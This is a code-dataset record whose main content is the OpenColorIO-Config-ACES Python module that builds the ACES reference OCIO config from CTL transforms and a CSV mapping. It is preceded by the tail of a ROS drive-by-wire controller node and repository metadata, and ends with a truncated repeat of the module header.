rospy.Subscriber('/twist_cmd', TwistStamped, self.twist_cb) rospy.Subscriber('/current_velocity',TwistStamped,self.velocity_cb) self.current_vel = None self.curr_ang_vel = None self.dbw_enabled = None self.linear_vel = None self.angular_vel = None self.throttle = self.steering = self.brake = 0 self.loop() def loop(self): rate = rospy.Rate(50) while not rospy.is_shutdown(): if not None in (self.current_vel, self.linear_vel, self.angular_vel): self.throttle, self.brake, self.steering = self.controller.control( self.current_vel, self.dbw_enabled, self.linear_vel, self.angular_vel) if self.dbw_enabled: self.publish(self.throttle, self.brake, self.steering) rate.sleep() def dbw_enabled_cb(self, msg): self.dbw_enabled = msg def twist_cb(self, msg): self.linear_vel = msg.twist.linear.x self.angular_vel = msg.twist.angular.z def velocity_cb(self, msg): self.current_vel = msg.twist.linear.x def publish(self, throttle, brake, steer): tcmd = ThrottleCmd() tcmd.enable = True tcmd.pedal_cmd_type = ThrottleCmd.CMD_PERCENT tcmd.pedal_cmd = throttle self.throttle_pub.publish(tcmd) scmd = SteeringCmd() scmd.enable = True scmd.steering_wheel_angle_cmd = steer self.steer_pub.publish(scmd) bcmd = BrakeCmd() bcmd.enable = True bcmd.pedal_cmd_type = BrakeCmd.CMD_TORQUE bcmd.pedal_cmd = brake self.brake_pub.publish(bcmd) def current_msg_cb(self, message): self.current_vel = message.twist.linear.x def final_waypoints_cb(self, message): self.final_waypoints = message.waypoints def current_pose_cb(self, message): self.current_pose = message if __name__ == '__main__': DBWNode()

true

f70fff870565855a3fc51fd9d30f07cd0448c020

36,690

py

Python

opencolorio_config_aces/config/reference/generate/config.py

rdaniels29/OpenColorIO-Config-ACES

ed0d77ad47fd50ad6e71813980d589b2b44cf272

[ "BSD-3-Clause" ]

null

opencolorio_config_aces/config/reference/generate/config.py

rdaniels29/OpenColorIO-Config-ACES

ed0d77ad47fd50ad6e71813980d589b2b44cf272

[ "BSD-3-Clause" ]

null

opencolorio_config_aces/config/reference/generate/config.py

rdaniels29/OpenColorIO-Config-ACES

ed0d77ad47fd50ad6e71813980d589b2b44cf272

[ "BSD-3-Clause" ]

null

# SPDX-License-Identifier: BSD-3-Clause # Copyright Contributors to the OpenColorIO Project. """ *aces-dev* Reference Config Generator ===================================== Defines various objects related to the generation of the *aces-dev* reference *OpenColorIO* config: - :func:`opencolorio_config_aces.generate_config_aces` """ import csv import logging import re from collections import defaultdict from datetime import datetime from enum import Flag, auto from pathlib import Path from opencolorio_config_aces.config.generation import ( ConfigData, colorspace_factory, generate_config, look_factory, view_transform_factory) from opencolorio_config_aces.config.reference import ( classify_aces_ctl_transforms, discover_aces_ctl_transforms, unclassify_ctl_transforms) from opencolorio_config_aces.utilities import git_describe, required __author__ = 'OpenColorIO Contributors' __copyright__ = 'Copyright Contributors to the OpenColorIO Project.' __license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause' __maintainer__ = 'OpenColorIO Contributors' __email__ = 'ocio-dev@lists.aswf.io' __status__ = 'Production' __all__ = [ 'ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH', 'ACES_CONFIG_REFERENCE_COLORSPACE', 'ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE', 'ACES_CONFIG_COLORSPACE_NAME_SEPARATOR', 'ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR', 'ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR', 'ACES_CONFIG_DISPLAY_FAMILY', 'COLORSPACE_NAME_SUBSTITUTION_PATTERNS', 'LOOK_NAME_SUBSTITUTION_PATTERNS', 'TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS', 'VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS', 'DISPLAY_NAME_SUBSTITUTION_PATTERNS', 'ColorspaceDescriptionStyle', 'beautify_name', 'beautify_colorspace_name', 'beautify_look_name', 'beautify_transform_family', 'beautify_view_transform_name', 'beautify_display_name', 'ctl_transform_to_colorspace_name', 'ctl_transform_to_look_name', 'ctl_transform_to_transform_family', 'ctl_transform_to_description', 'ctl_transform_to_colorspace', 'ctl_transform_to_look', 'create_builtin_transform', 'style_to_view_transform', 'style_to_display_colorspace', 'generate_config_aces' ] ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH = ( Path(__file__).parents[0] / 'resources' / 'OpenColorIO-ACES-Config Transforms - Reference Config - Mapping.csv') """ Path to the *ACES* *CTL* transforms to *OpenColorIO* colorspaces mapping file. CONFIG_MAPPING_FILE_PATH : unicode """ ACES_CONFIG_REFERENCE_COLORSPACE = 'ACES2065-1' """ *OpenColorIO* config reference colorspace. ACES_CONFIG_REFERENCE_COLORSPACE : unicode """ ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE = 'OCES' """ *OpenColorIO* config output encoding colorspace. ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE : unicode """ ACES_CONFIG_COLORSPACE_NAME_SEPARATOR = ' - ' """ *OpenColorIO* config colorspace name separator. ACES_CONFIG_COLORSPACE_NAME_SEPARATOR : unicode """ ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR = '/' """ *OpenColorIO* config colorspace family separator. ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR : unicode """ ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR = '_to_' """ *OpenColorIO* config *BuiltinTransform* name separator. ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR : unicode """ ACES_CONFIG_DISPLAY_FAMILY = 'Display' """ *OpenColorIO* config display family. ACES_CONFIG_DISPLAY_FAMILY : unicode """ COLORSPACE_NAME_SUBSTITUTION_PATTERNS = { 'ACES_0_1_1': 'ACES 0.1.1', 'ACES_0_2_2': 'ACES 0.2.2', 'ACES_0_7_1': 'ACES 0.7.1', '_7nits': '', '_15nits': '', '_': ' ', '-raw': '', '-': ' ', '\\b(\\w+)limited\\b': '(\\1 Limited)', '\\b(\\d+)nits\\b': '(\\1 nits)', 'RGBmonitor': 'sRGB', 'Rec709': 'Rec. 709', 'Rec2020': 'Rec. 2020', } """ *OpenColorIO* colorspace name substitution patterns. Notes ----- - The substitutions are evaluated in order. COLORSPACE_NAME_SUBSTITUTION_PATTERNS : dict """ COLORSPACE_NAME_SUBSTITUTION_PATTERNS.update({ # Input transforms also use the "family" name and thus need beautifying. (f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}Alexa' f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}v\\d+' f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}.*'): '', f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}': ACES_CONFIG_COLORSPACE_NAME_SEPARATOR, }) LOOK_NAME_SUBSTITUTION_PATTERNS = { # TODO: Implement support for callable patterns. # The following one should be a dedicated definition/callable. 'BlueLightArtifactFix': 'Blue Light Artifact Fix' } """ *OpenColorIO* look name substitution patterns. Notes ----- - The substitutions are evaluated in order. LOOK_NAME_SUBSTITUTION_PATTERNS : dict """ TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS = { '\\\\': ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR, 'vendorSupplied[/\\\\]': '', 'arri': 'ARRI', 'alexa': 'Alexa', 'canon': 'Canon', 'panasonic': 'Panasonic', 'red': 'RED', 'sony': 'Sony', } """ *OpenColorIO* transform family substitution patterns. Notes ----- - The substitutions are evaluated in order. TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS : dict """ VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS = { '7.2nit': '&', '15nit': '&', 'lim': ' lim', 'nit': ' nits', 'sim': ' sim on', 'CINEMA': 'Cinema', 'VIDEO': 'Video', 'REC1886': 'Rec.1886', 'REC709': 'Rec.709', 'REC2020': 'Rec.2020', '-': ' ', } """ *OpenColorIO* view transform name substitution patterns. VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS : dict """ DISPLAY_NAME_SUBSTITUTION_PATTERNS = { 'G2.6-': '', '-BFD': '', 'REC.1886': 'Rec.1886', 'REC.709': 'Rec.709 Video', 'REC.2020': 'Rec.2020 Video', 'REC.2100': 'Rec.2100', '-Rec.': ' / Rec.', '-1000nit': '', # Legacy Substitutions 'dcdm': 'DCDM', 'p3': 'P3', 'rec709': 'Rec. 709', 'rec2020': 'Rec. 2020', } """ *OpenColorIO* display name substitution patterns. Notes ----- - The substitutions are evaluated in order. DISPLAY_NAME_SUBSTITUTION_PATTERNS : dict """ class ColorspaceDescriptionStyle(Flag): """ Enum storing the various *OpenColorIO* colorspace description styles. """ NONE = auto() ACES = auto() OPENCOLORIO = auto() SHORT = auto() LONG = auto() SHORT_UNION = ACES | OPENCOLORIO | SHORT LONG_UNION = ACES | OPENCOLORIO | LONG def beautify_name(name, patterns): """ Beautifies given name by applying in succession the given patterns. Parameters ---------- name : unicode Name to beautify. patterns : dict Dictionary of regular expression patterns and substitution to apply onto the name. Returns ------- unicode Beautified name. Examples -------- >>> beautify_name( ... 'Rec709_100nits_dim', ... COLORSPACE_NAME_SUBSTITUTION_PATTERNS) 'Rec. 709 (100 nits) dim' """ for pattern, substitution in patterns.items(): name = re.sub(pattern, substitution, name) return name.strip() def beautify_colorspace_name(name): """ Beautifies given *OpenColorIO* colorspace name by applying in succession the relevant patterns. Parameters ---------- name : unicode *OpenColorIO* colorspace name to beautify. Returns ------- unicode Beautified *OpenColorIO* colorspace name. Examples -------- >>> beautify_colorspace_name('Rec709_100nits_dim') 'Rec. 709 (100 nits) dim' """ return beautify_name(name, COLORSPACE_NAME_SUBSTITUTION_PATTERNS) def beautify_look_name(name): """ Beautifies given *OpenColorIO* look name by applying in succession the relevant patterns. Parameters ---------- name : unicode *OpenColorIO* look name to beautify. Returns ------- unicode Beautified *OpenColorIO* look name. Examples -------- >>> beautify_look_name('BlueLightArtifactFix') 'Blue Light Artifact Fix' """ return beautify_name(name, LOOK_NAME_SUBSTITUTION_PATTERNS) def beautify_transform_family(name): """ Beautifies given *OpenColorIO* colorspace family by applying in succession the relevant patterns. Parameters ---------- name : unicode *OpenColorIO* colorspace family to beautify. Returns ------- unicode Beautified *OpenColorIO* colorspace family. Examples -------- >>> beautify_transform_family('vendorSupplied/arri/alexa/v3/EI800') 'ARRI/Alexa/v3/EI800' """ return beautify_name(name, TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS) def beautify_view_transform_name(name): """ Beautifies given *OpenColorIO* view transform name by applying in succession the relevant patterns. Parameters ---------- name : unicode *OpenColorIO* view transform name to beautify. Returns ------- unicode Beautified *OpenColorIO* view transform name. Examples -------- >>> beautify_view_transform_name( ... 'ACES-OUTPUT - ACES2065-1_to_CIE-XYZ-D65 - SDR-CINEMA_1.0') 'Output - SDR Cinema - ACES 1.0' """ basename, version = name.split(ACES_CONFIG_COLORSPACE_NAME_SEPARATOR)[ -1].split('_') tokens = basename.split('-') family, genus = (['-'.join(tokens[:2]), '-'.join(tokens[2:])] if len(tokens) > 2 else [basename, None]) family = beautify_name(family, VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS) genus = (beautify_name(genus, VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS) if genus is not None else genus) return (f'Output - {family} ({genus}) - ACES {version}' if genus is not None else f'Output - {family} - ACES {version}') def beautify_display_name(name): """ Beautifies given *OpenColorIO* display name by applying in succession the relevant patterns. Parameters ---------- name : unicode *OpenColorIO* display name to beautify. Returns ------- unicode Beautified *OpenColorIO* display name. Examples -------- >>> beautify_display_name('DISPLAY - CIE-XYZ-D65_to_sRGB') 'Display - sRGB' >>> beautify_display_name('rec709') 'Display - Rec. 709' """ basename = name.split(ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR)[-1] name = beautify_name(basename, DISPLAY_NAME_SUBSTITUTION_PATTERNS) return f'Display - {name}' def ctl_transform_to_colorspace_name(ctl_transform): """ Generates the *OpenColorIO* colorspace name for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* colorspace name for. Returns ------- unicode *OpenColorIO* colorspace name. """ if ctl_transform.source in (ACES_CONFIG_REFERENCE_COLORSPACE, ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE): name = ctl_transform.target else: name = ctl_transform.source return beautify_colorspace_name(name) def ctl_transform_to_look_name(ctl_transform): """ Generates the *OpenColorIO* look name for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* look name for. Returns ------- unicode *OpenColorIO* look name. """ if ctl_transform.source in (ACES_CONFIG_REFERENCE_COLORSPACE, ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE): name = ctl_transform.target else: name = ctl_transform.source return beautify_look_name(name) def ctl_transform_to_transform_family(ctl_transform, analytical=True): """ Generates the *OpenColorIO* transform family for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* transform family for. analytical : bool, optional Whether to generate the *OpenColorIO* transform family that analytically matches the given *ACES* *CTL* transform, i.e. true to the *aces-dev* reference but not necessarily user friendly. Returns ------- unicode *OpenColorIO* transform family. """ if analytical: if (ctl_transform.family == 'csc' and ctl_transform.namespace == 'Academy'): family = 'CSC' elif ctl_transform.family == 'input_transform': family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'output_transform': family = 'Output' elif ctl_transform.family == 'lmt': family = 'LMT' else: if (ctl_transform.family == 'csc' and ctl_transform.namespace == 'Academy'): if re.match('ACES|ADX', ctl_transform.name): family = 'ACES' else: family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'input_transform': family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'output_transform': family = 'Output' elif ctl_transform.family == 'lmt': family = 'LMT' return beautify_transform_family(family) @required('OpenColorIO') def ctl_transform_to_description( ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, factory=colorspace_factory, **kwargs): """ Generates the *OpenColorIO* colorspace or look description for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* colorspace for. describe : bool, optional Whether to use the full *ACES* *CTL* transform description or just the first line. factory : callable, optional Factory used to adjust the code paths because of slight difference of signature between the *OpenColorIO* colorspace and look. Other Parameters ---------------- \\**kwargs : dict, optional Keywords arguments for the :func:`opencolorio_config_aces.colorspace_factory` definition. Returns ------- unicode *OpenColorIO* colorspace or look description. """ import PyOpenColorIO as ocio description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): forward, inverse = ([ 'to_reference', 'from_reference', ] if factory is colorspace_factory else [ 'forward_transform', 'inverse_transform', ]) transforms = [ transform for transform in (kwargs.get(forward), kwargs.get(inverse)) if transform is not None ] transform = next(iter(transforms), None) if isinstance(transform, ocio.BuiltinTransform): description.append(transform.getDescription()) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): if len(description) > 0: description.append('') aces_transform_id = ( ctl_transform.aces_transform_id.aces_transform_id) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION): description.append(f'ACEStransformID: {aces_transform_id}') else: description.append('CTL Transform') description.append(f'{"=" * len(description[-1])}\n') description.append(f'{ctl_transform.description}\n') description.append(f'ACEStransformID: {aces_transform_id}') description = '\n'.join(description) return description def ctl_transform_to_colorspace(ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, analytical=True, **kwargs): """ Generates the *OpenColorIO* colorspace for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* colorspace for. describe : bool, optional Whether to use the full *ACES* *CTL* transform description or just the first line. analytical : bool, optional Whether to generate the *OpenColorIO* transform family that analytically matches the given *ACES* *CTL* transform, i.e. true to the *aces-dev* reference but not necessarily user friendly. Other Parameters ---------------- \\**kwargs : dict, optional Keywords arguments for the :func:`opencolorio_config_aces.colorspace_factory` definition. Returns ------- ColorSpace *OpenColorIO* colorspace. """ name = ctl_transform_to_colorspace_name(ctl_transform) family = ctl_transform_to_transform_family(ctl_transform, analytical) description = ctl_transform_to_description(ctl_transform, describe, colorspace_factory, **kwargs) settings = { 'name': (f'{beautify_colorspace_name(family)}' f'{ACES_CONFIG_COLORSPACE_NAME_SEPARATOR}' f'{name}'), 'family': family, 'description': description, } settings.update(kwargs) colorspace = colorspace_factory(**settings) return colorspace def ctl_transform_to_look(ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, analytical=True, **kwargs): """ Generates the *OpenColorIO* look for given *ACES* *CTL* transform. Parameters ---------- ctl_transform : CTLTransform *ACES* *CTL* transform to generate the *OpenColorIO* look for. describe : bool, optional Whether to use the full *ACES* *CTL* transform description or just the first line. analytical : bool, optional Whether to generate the *OpenColorIO* transform family that analytically matches the given *ACES* *CTL* transform, i.e. true to the *aces-dev* reference but not necessarily user friendly. Other Parameters ---------------- \\**kwargs : dict, optional Keywords arguments for the :func:`opencolorio_config_aces.look_factory` definition. Returns ------- ColorSpace *OpenColorIO* look. """ name = ctl_transform_to_look_name(ctl_transform) family = ctl_transform_to_transform_family(ctl_transform, analytical) description = ctl_transform_to_description(ctl_transform, describe, look_factory, **kwargs) settings = { 'name': (f'{beautify_colorspace_name(family)}' f'{ACES_CONFIG_COLORSPACE_NAME_SEPARATOR}' f'{name}'), 'description': description, } settings.update(kwargs) look = look_factory(**settings) return look @required('OpenColorIO') def create_builtin_transform(style): """ Creates an *OpenColorIO* builtin transform for given style. If the style does not exist, a placeholder transform is used in place of the builtin transform. Parameters ---------- style : unicode *OpenColorIO* builtin transform style Returns ------- BuiltinTransform *OpenColorIO* builtin transform for given style. """ import PyOpenColorIO as ocio builtin_transform = ocio.BuiltinTransform() try: builtin_transform.setStyle(style) except ocio.Exception: logging.warning(f'{style} style is not defined, ' f'using a placeholder "FileTransform" instead!') builtin_transform = ocio.FileTransform() builtin_transform.setSrc(style) return builtin_transform @required('OpenColorIO') def style_to_view_transform(style, ctl_transforms, describe=ColorspaceDescriptionStyle.LONG_UNION): """ Creates an *OpenColorIO* view transform for given style. Parameters ---------- style : unicode *OpenColorIO* builtin transform style ctl_transforms : array_like Array of :class:`opencolorio_config_aces.config.reference.CTLTransform` class instances corresponding to the given style. describe : int, optional Any value from the :class:`opencolorio_config_aces.ColorspaceDescriptionStyle` enum. Returns ------- ViewTransform *OpenColorIO* view transform for given style. """ import PyOpenColorIO as ocio name = beautify_view_transform_name(style) builtin_transform = ocio.BuiltinTransform(style) description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): description.append(builtin_transform.getDescription()) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): aces_transform_ids, aces_descriptions = zip( *[(ctl_transform.aces_transform_id.aces_transform_id, ctl_transform.description) for ctl_transform in ctl_transforms]) if len(description) > 0: description.append('') if describe in (ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION): description.extend([ f'ACEStransformID: {aces_transform_id}' for aces_transform_id in aces_transform_ids ]) else: description.append( f'CTL Transform' f'{"s" if len(aces_transform_ids) >= 2 else ""}') description.append(f'{"=" * len(description[-1])}\n') description.append(f'\n{"-" * 80}\n\n'.join([ (f'{aces_descriptions[i]}\n\n' f'ACEStransformID: {aces_transform_id}\n') for i, aces_transform_id in enumerate(aces_transform_ids) ])) description = '\n'.join(description) view_transform = view_transform_factory( name, from_reference=builtin_transform, description=description) return view_transform @required('OpenColorIO') def style_to_display_colorspace( style, describe=ColorspaceDescriptionStyle.OPENCOLORIO, **kwargs): """ Creates an *OpenColorIO* display colorspace for given style. Parameters ---------- style : unicode *OpenColorIO* builtin transform style describe : int, optional Any value from the :class:`opencolorio_config_aces.ColorspaceDescriptionStyle` enum. Other Parameters ---------------- \\**kwargs : dict, optional Keywords arguments for the :func:`opencolorio_config_aces.colorspace_factory` definition. Returns ------- ColorSpace *OpenColorIO* display colorspace for given style. """ import PyOpenColorIO as ocio kwargs.setdefault('family', ACES_CONFIG_DISPLAY_FAMILY) name = beautify_display_name(style) builtin_transform = ocio.BuiltinTransform(style) description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): description.append(builtin_transform.getDescription()) description = '\n'.join(description) settings = { 'name': name, 'family': ACES_CONFIG_DISPLAY_FAMILY, 'description': description, 'from_reference': builtin_transform, 'reference_space': ocio.REFERENCE_SPACE_DISPLAY, } settings.update(kwargs) colorspace = colorspace_factory(**settings) return colorspace @required('OpenColorIO') def generate_config_aces( config_name=None, validate=True, describe=ColorspaceDescriptionStyle.SHORT_UNION, config_mapping_file_path=ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH, analytical=True, additional_data=False): """ Generates the *aces-dev* reference implementation *OpenColorIO* Config using the *Mapping* method. The Config generation is constrained by a *CSV* file exported from the *Reference Config - Mapping* sheet from a `Google Sheets file <https://docs.google.com/spreadsheets/d/\ 1SXPt-USy3HlV2G2qAvh9zit6ZCINDOlfKT07yXJdWLg>`__. The *Google Sheets* file was originally authored using the output of the *aces-dev* conversion graph to support the discussions of the *OpenColorIO* *Working Group* on the design of the *aces-dev* reference implementation *OpenColorIO* Config. The resulting mapping is the outcome of those discussions and leverages the new *OpenColorIO 2* display architecture while factoring many transforms. Parameters ---------- config_name : unicode, optional *OpenColorIO* config file name, if given the config will be written to disk. validate : bool, optional Whether to validate the config. describe : int, optional Any value from the :class:`opencolorio_config_aces.ColorspaceDescriptionStyle` enum. config_mapping_file_path : unicode, optional Path to the *CSV* mapping file used by the *Mapping* method. analytical : bool, optional Whether to generate *OpenColorIO* transform families that analytically match the given *ACES* *CTL* transform, i.e. true to the *aces-dev* reference but not necessarily user friendly. additional_data : bool, optional Whether to return additional data. Returns ------- Config or tuple *OpenColorIO* config or tuple of *OpenColorIO* config, :class:`opencolorio_config_aces.ConfigData` class instance and dict of *OpenColorIO* colorspaces and :class:`opencolorio_config_aces.config.reference.CTLTransform` class instances. """ import PyOpenColorIO as ocio ctl_transforms = unclassify_ctl_transforms( classify_aces_ctl_transforms(discover_aces_ctl_transforms())) builtin_transforms = [ builtin for builtin in ocio.BuiltinTransformRegistry() ] config_mapping = defaultdict(list) with open(config_mapping_file_path) as csv_file: dict_reader = csv.DictReader( csv_file, delimiter=',', fieldnames=[ 'ordering', 'aces_transform_id', 'builtin_transform_style', 'linked_display_colorspace_style', 'interface', 'encoding', 'categories', ]) # Skipping the first header line. next(dict_reader) for transform_data in dict_reader: # Checking whether the "BuiltinTransform" style exists. style = transform_data['builtin_transform_style'] if style: assert (style in builtin_transforms), ( f'"{style}" "BuiltinTransform" style does not ' f'exist!') # Checking whether the linked "DisplayColorspace" # "BuiltinTransform" style exists. style = transform_data['linked_display_colorspace_style'] if style: assert (style in builtin_transforms), ( f'"{style}" "BuiltinTransform" style does not ' f'exist!') # Finding the "CTLTransform" class instance that matches given # "ACEStransformID", if it does not exist, there is a critical # mismatch in the mapping with *aces-dev*. aces_transform_id = transform_data['aces_transform_id'] filtered_ctl_transforms = [ ctl_transform for ctl_transform in ctl_transforms if ctl_transform.aces_transform_id.aces_transform_id == aces_transform_id ] ctl_transform = next(iter(filtered_ctl_transforms), None) assert ctl_transform is not None, ( f'"aces-dev" has no transform with "{aces_transform_id}" ' f'ACEStransformID, please cross-check the ' f'"{config_mapping_file_path}" config mapping file and ' f'the "aces-dev" "CTL" transforms!') transform_data['ctl_transform'] = ctl_transform config_mapping[transform_data['builtin_transform_style']].append( transform_data) colorspaces = [] looks = [] displays, display_names = [], [] view_transforms, view_transform_names = [], [] shared_views = [] aces_family_prefix = 'CSC' if analytical else 'ACES' scene_reference_colorspace = colorspace_factory( f'{aces_family_prefix} - {ACES_CONFIG_REFERENCE_COLORSPACE}', 'ACES', description=( 'The "Academy Color Encoding System" reference colorspace.'), encoding='scene-linear') display_reference_colorspace = colorspace_factory( 'CIE-XYZ-D65', description='The "CIE XYZ (D65)" display connection colorspace.', reference_space=ocio.REFERENCE_SPACE_DISPLAY) raw_colorspace = colorspace_factory( 'Utility - Raw', 'Utility', description='The utility "Raw" colorspace.', is_data=True) colorspaces += [ scene_reference_colorspace, display_reference_colorspace, raw_colorspace, ] for style, transforms_data in config_mapping.items(): if transforms_data[0]['interface'] == 'ViewTransform': view_transform = style_to_view_transform(style, [ transform_data['ctl_transform'] for transform_data in transforms_data ], describe) view_transforms.append(view_transform) view_transform_name = view_transform.getName() view_transform_names.append(view_transform_name) for transform_data in transforms_data: display_style = transform_data[ 'linked_display_colorspace_style'] display = style_to_display_colorspace( display_style, encoding=transform_data.get('encoding'), categories=transform_data.get('categories')) display_name = display.getName() if display_name not in display_names: displays.append(display) display_names.append(display_name) shared_views.append({ 'display': display_name, 'view': view_transform_name, 'view_transform': view_transform_name, }) else: for transform_data in transforms_data: ctl_transform = transform_data['ctl_transform'] if transform_data['interface'] == 'Look': look = ctl_transform_to_look( ctl_transform, describe, analytical=analytical, forward_transform=create_builtin_transform(style), process_space=scene_reference_colorspace.getName(), ) looks.append(look) else: colorspace = ctl_transform_to_colorspace( ctl_transform, describe, analytical=analytical, to_reference=create_builtin_transform(style), encoding=transform_data.get('encoding'), categories=transform_data.get('categories')) colorspaces.append(colorspace) untonemapped_view_transform = view_transform_factory( 'Un-tone-mapped', from_reference=ocio.BuiltinTransform( 'UTILITY - ACES-AP0_to_CIE-XYZ-D65_BFD'), ) untonemapped_view_transform_name = untonemapped_view_transform.getName() for display in display_names: shared_views.append({ 'display': display, 'view': untonemapped_view_transform_name, 'view_transform': untonemapped_view_transform_name, }) data = ConfigData( description=( f'The "Academy Color Encoding System" (ACES) "Reference Config".' f'\n\n' f'This "OpenColorIO" config is a strict and quasi-analytical ' f'implementation of "aces-dev" and is designed as a reference for ' f'software developers. It is not a replacement for the previous ' f'"ACES" configs nor the "ACES Studio Config".' f'\n\n' f'Generated with "OpenColorIO-Config-ACES" {git_describe()} ' f'on the {datetime.now().strftime("%Y/%m/%d at %H:%M")}.'), roles={ ocio.ROLE_COLOR_TIMING: f'{aces_family_prefix} - ACEScct', ocio.ROLE_COMPOSITING_LOG: f'{aces_family_prefix} - ACEScct', ocio.ROLE_DATA: 'Utility - Raw', ocio.ROLE_DEFAULT: scene_reference_colorspace.getName(), ocio.ROLE_INTERCHANGE_DISPLAY: display_reference_colorspace.getName(), ocio.ROLE_INTERCHANGE_SCENE: scene_reference_colorspace.getName(), ocio.ROLE_REFERENCE: scene_reference_colorspace.getName(), ocio.ROLE_RENDERING: f'{aces_family_prefix} - ACEScg', ocio.ROLE_SCENE_LINEAR: f'{aces_family_prefix} - ACEScg', }, colorspaces=colorspaces + displays, looks=looks, view_transforms=view_transforms + [untonemapped_view_transform], shared_views=shared_views, views=shared_views + [{ 'display': display, 'view': 'Raw', 'colorspace': 'Utility - Raw' } for display in display_names], active_displays=display_names, active_views=view_transform_names + ['Raw'], file_rules=[{ 'name': 'Default', 'colorspace': scene_reference_colorspace.getName() }], inactive_colorspaces=['CIE-XYZ-D65'], default_view_transform=untonemapped_view_transform.getName(), profile_version=2) config = generate_config(data, config_name, validate) if additional_data: return config, data else: return config if __name__ == '__main__': import os import opencolorio_config_aces logging.basicConfig() logging.getLogger().setLevel(logging.INFO) build_directory = os.path.join(opencolorio_config_aces.__path__[0], '..', 'build') if not os.path.exists(build_directory): os.makedirs(build_directory) config, data = generate_config_aces( config_name=os.path.join(build_directory, 'config-aces-reference.ocio'), analytical=False, additional_data=True)

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import csv import logging import re from collections import defaultdict from datetime import datetime from enum import Flag, auto from pathlib import Path from opencolorio_config_aces.config.generation import ( ConfigData, colorspace_factory, generate_config, look_factory, view_transform_factory) from opencolorio_config_aces.config.reference import ( classify_aces_ctl_transforms, discover_aces_ctl_transforms, unclassify_ctl_transforms) from opencolorio_config_aces.utilities import git_describe, required __author__ = 'OpenColorIO Contributors' __copyright__ = 'Copyright Contributors to the OpenColorIO Project.' __license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause' __maintainer__ = 'OpenColorIO Contributors' __email__ = 'ocio-dev@lists.aswf.io' __status__ = 'Production' __all__ = [ 'ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH', 'ACES_CONFIG_REFERENCE_COLORSPACE', 'ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE', 'ACES_CONFIG_COLORSPACE_NAME_SEPARATOR', 'ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR', 'ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR', 'ACES_CONFIG_DISPLAY_FAMILY', 'COLORSPACE_NAME_SUBSTITUTION_PATTERNS', 'LOOK_NAME_SUBSTITUTION_PATTERNS', 